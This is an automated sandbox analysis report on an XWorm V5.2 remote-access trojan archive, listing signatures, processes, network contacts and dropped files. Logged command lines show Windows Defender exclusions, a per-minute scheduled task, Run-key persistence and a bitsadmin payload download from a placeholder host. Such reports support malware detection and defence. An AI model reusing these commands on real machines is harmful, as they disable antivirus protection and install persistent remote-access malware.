Malware Analysis Report

2024-10-16 05:07

Sample ID 240802-2vhkyatflm
Target XWorm V5.2.zip
SHA256 6bde76de6064f5cb941da866a26b81f18d4a7e3d738d416238fa73c0b01149a7
Tags
discovery dropper xworm execution persistence rat trojan agilenet agenttesla
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral9

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral28

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral17

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral21

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral30

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral29

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral32

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral13

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral23

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral8

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral25

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral16

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral20

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral24

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral26

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral11

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral12

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral14

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral15

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral27

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral19

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral22

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral10

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral18

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral31

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

6bde76de6064f5cb941da866a26b81f18d4a7e3d738d416238fa73c0b01149a7

Threat Level: Known bad

The file XWorm V5.2.zip was found to be: Known bad.

Malicious Activity Summary

discovery dropper xworm execution persistence rat trojan agilenet agenttesla

Contains code to disable Windows Defender

Xworm

Xworm family

Detect Xworm Payload

AgentTesla payload

Agenttesla family

Command and Scripting Interpreter: PowerShell

Download via BitsAdmin

Executes dropped EXE

Checks computer location settings

Drops startup file

Obfuscated with Agile.Net obfuscator

Legitimate hosting services abused for malware hosting/C2

Adds Run key to start application

Looks up external IP address via web service

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Unsigned PE

Uses Task Scheduler COM API

Suspicious use of AdjustPrivilegeToken

Modifies registry class

Scheduled Task/Job: Scheduled Task

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Modifies Internet Explorer settings

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-02 22:54

Signatures

AgentTesla payload

Description Indicator Process Target
N/A N/A N/A N/A

Agenttesla family

agenttesla

Contains code to disable Windows Defender

Description Indicator Process Target
N/A N/A N/A N/A

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm family

xworm

Obfuscated with Agile.Net obfuscator

agilenet
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

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Analysis: behavioral9

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win7-20240704-en

Max time kernel

118s

Max time network

123s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Guna.UI2.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Guna.UI2.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral28

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win10v2004-20240802-en

Max time kernel

147s

Max time network

153s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Cecil.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Cecil.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 22.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 25.140.123.92.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 105.193.132.51.in-addr.arpa udp

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win10v2004-20240802-en

Max time kernel

92s

Max time network

125s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\FastColoredTextBox.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\FastColoredTextBox.dll,#1

Network

Country Destination Domain Proto
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 g.bing.com udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral17

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win7-20240705-en

Max time kernel

119s

Max time network

127s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Icons\Output.exe"

Signatures

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Output.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\bitsadmin.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Icons\Output.exe

"C:\Users\Admin\AppData\Local\Temp\Icons\Output.exe"

C:\Users\Admin\AppData\Roaming\Output.exe

"C:\Users\Admin\AppData\Roaming\Output.exe"

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta"

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 http://www.example.com/XClient.exe C:\Users\Admin\AppData\Local\Temp\XClient.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.example.com udp
US 93.184.215.14:80 www.example.com tcp

Files

memory/760-0-0x000007FEF5343000-0x000007FEF5344000-memory.dmp

memory/760-1-0x0000000000050000-0x000000000005E000-memory.dmp

C:\Users\Admin\AppData\Roaming\Output.exe

MD5 a731d63dc3edd963b906d0f861f7119c
SHA1 378d5339f1b675e98c81f4446f9e9ad81bc9da9f
SHA256 94e34e1ab4c0941edda34585cb048af9b4bf4a8e3e9042e3986b597b839f4dad
SHA512 39d39f34144538fa4d822aa806e0994dacc64da2358001de2b7e07400218e60302630ed28b74a3ca293a6b20cb30fadfeb342e8f5060a083753fd4674390d0a6

memory/2140-7-0x00000000010D0000-0x00000000010DC000-memory.dmp

memory/2140-9-0x000007FEF5340000-0x000007FEF5D2C000-memory.dmp

memory/2140-12-0x000007FEF5340000-0x000007FEF5D2C000-memory.dmp

C:\Users\Admin\AppData\Roaming\Downloader.hta

MD5 f27fe2354ebb52cffbb3a8cf66c6bdb3
SHA1 439ce7924db3f534a14d78470c57c98e397969ee
SHA256 30211495aba380e4649ba7a892fea8523b0857a1db4a3be3ec59a822d385a6b4
SHA512 7e22d88538dd3d9e853002fc7caf149c047be7c17dff24061236b9a29f558d53949b2a1a46e74185e32341c1fa3e2d7b9ce3917bd5e988cd12ea380acbf33c0f

Analysis: behavioral21

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win7-20240729-en

Max time kernel

14s

Max time network

17s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Cecil.Mdb.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Cecil.Mdb.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral30

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win10v2004-20240802-en

Max time kernel

77s

Max time network

126s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\MonoMod.Backports.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\MonoMod.Backports.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 25.140.123.92.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral29

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win7-20240708-en

Max time kernel

119s

Max time network

125s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\MonoMod.Backports.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\MonoMod.Backports.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral32

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win10v2004-20240802-en

Max time kernel

92s

Max time network

128s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\MonoMod.Core.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\MonoMod.Core.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win7-20240705-en

Max time kernel

117s

Max time network

120s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\FastColoredTextBox.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\FastColoredTextBox.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral7

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win7-20240708-en

Max time kernel

119s

Max time network

124s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\GMap.NET.WindowsForms.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\GMap.NET.WindowsForms.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral13

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win7-20240704-en

Max time kernel

117s

Max time network

127s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Icons\Downloader.hta"

Signatures

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Icons\Downloader.hta"

Network

N/A

Files

N/A

Analysis: behavioral23

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win7-20240704-en

Max time kernel

121s

Max time network

126s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Cecil.Pdb.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Cecil.Pdb.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral8

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win10v2004-20240802-en

Max time kernel

146s

Max time network

150s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\GMap.NET.WindowsForms.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\GMap.NET.WindowsForms.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 20.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 240.143.123.92.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral25

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win7-20240704-en

Max time kernel

122s

Max time network

126s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Cecil.Rocks.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Cecil.Rocks.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral16

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win10v2004-20240802-en

Max time kernel

148s

Max time network

126s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Icons\Outfuytftjgfuyjput.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Icons\Outfuytftjgfuyjput.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\XClient.exe N/A

Drops startup file

Description Indicator Process Target
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\q11111.lnk C:\Users\Admin\AppData\Roaming\XClient.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\q11111.lnk C:\Users\Admin\AppData\Roaming\XClient.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A
N/A N/A C:\Users\Public\q11111 N/A
N/A N/A C:\Users\Public\q11111 N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\q11111 = "C:\\Users\\Public\\q11111" C:\Users\Admin\AppData\Roaming\XClient.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Public\q11111 N/A
Token: SeDebugPrivilege N/A C:\Users\Public\q11111 N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 620 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\Icons\Outfuytftjgfuyjput.exe C:\Users\Admin\AppData\Roaming\XClient.exe
PID 620 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\Icons\Outfuytftjgfuyjput.exe C:\Users\Admin\AppData\Roaming\XClient.exe
PID 2560 wrote to memory of 2360 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2560 wrote to memory of 2360 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2560 wrote to memory of 1604 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2560 wrote to memory of 1604 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2560 wrote to memory of 4924 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2560 wrote to memory of 4924 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2560 wrote to memory of 860 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2560 wrote to memory of 860 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2560 wrote to memory of 1852 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\schtasks.exe
PID 2560 wrote to memory of 1852 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\schtasks.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\Icons\Outfuytftjgfuyjput.exe

"C:\Users\Admin\AppData\Local\Temp\Icons\Outfuytftjgfuyjput.exe"

C:\Users\Admin\AppData\Roaming\XClient.exe

"C:\Users\Admin\AppData\Roaming\XClient.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\q11111'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'q11111'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "q11111" /tr "C:\Users\Public\q11111"

C:\Users\Public\q11111

C:\Users\Public\q11111

C:\Users\Public\q11111

C:\Users\Public\q11111

Network

Country Destination Domain Proto
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 pastebin.com udp
US 104.20.4.235:443 pastebin.com tcp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 235.4.20.104.in-addr.arpa udp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
NL 52.178.17.2:443 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
US 8.8.8.8:53 25.140.123.92.in-addr.arpa udp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp

Files

memory/620-0-0x00007FFC5CAE3000-0x00007FFC5CAE5000-memory.dmp

memory/620-1-0x0000000000B20000-0x00000000020A2000-memory.dmp

C:\Users\Admin\AppData\Roaming\XClient.exe

MD5 767d4d113ea2e9d9886b2aa1710db7f3
SHA1 f7f779a94fb6fe0e3ee8996dff7951b3b5c7b1b0
SHA256 b06506ca596951ae4c75e43d5aba7c255c557cf5607915a214c2a3f53e97934f
SHA512 ea1f6b926b2e19d0521dc3939c247094640ba6fb10b8c0a4dbb48306c5b7e8b9a3659d4f83ead234ba3c035ae09d891d8c2c302945f48b94a4a0916d3ca7ee41

memory/2560-14-0x0000000000EE0000-0x0000000000F30000-memory.dmp

memory/2560-20-0x00007FFC5CAE0000-0x00007FFC5D5A1000-memory.dmp

memory/2560-54-0x00007FFC5CAE0000-0x00007FFC5D5A1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ppwrkdhw.xjo.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2360-60-0x000001D741740000-0x000001D741762000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 9bc110200117a3752313ca2acaf8a9e1
SHA1 fda6b7da2e7b0175b391475ca78d1b4cf2147cd3
SHA256 c88e4bbb64f7fa31429ebe82c1cf07785c44486f37576f783a26ac856e02a4eb
SHA512 1f1af32aa18a8cbfcc65b0d4fb7e6ca2705f125eaa85789e981ee68b90c64522e954825abf460d4b4f97567715dfae8d9b0a25a4d54d10bc4c257c472f2e80fb

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 0256bd284691ed0fc502ef3c8a7e58dc
SHA1 dcdf69dc8ca8bf068f65d20ef1563bbe283e2413
SHA256 e2fb83098e114084f51ed7187334f861ce670051046c39f338928296ca9a49cf
SHA512 c5b29c1e0a15ddb68b0579848066774fa7cdc6f35087bbbf47c05a5c0dcc1eb3e61b2ddadfbded8c1ed9820e637596a9f08a97db8fb18000d168e6b159060c42

memory/2560-102-0x00007FFC5CAE0000-0x00007FFC5D5A1000-memory.dmp

memory/2560-103-0x00007FFC5CAE0000-0x00007FFC5D5A1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\q11111.log

MD5 2ff39f6c7249774be85fd60a8f9a245e
SHA1 684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA512 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Analysis: behavioral20

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win10v2004-20240802-en

Max time kernel

130s

Max time network

153s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWorm V5.lnk C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWorm V5.lnk C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\XWorm V5.2 N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\XWorm V5.2 N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XWorm V5 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\XWorm V5.2" C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\XWorm V5.2 N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\XWorm V5.2 N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe N/A

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe

"C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

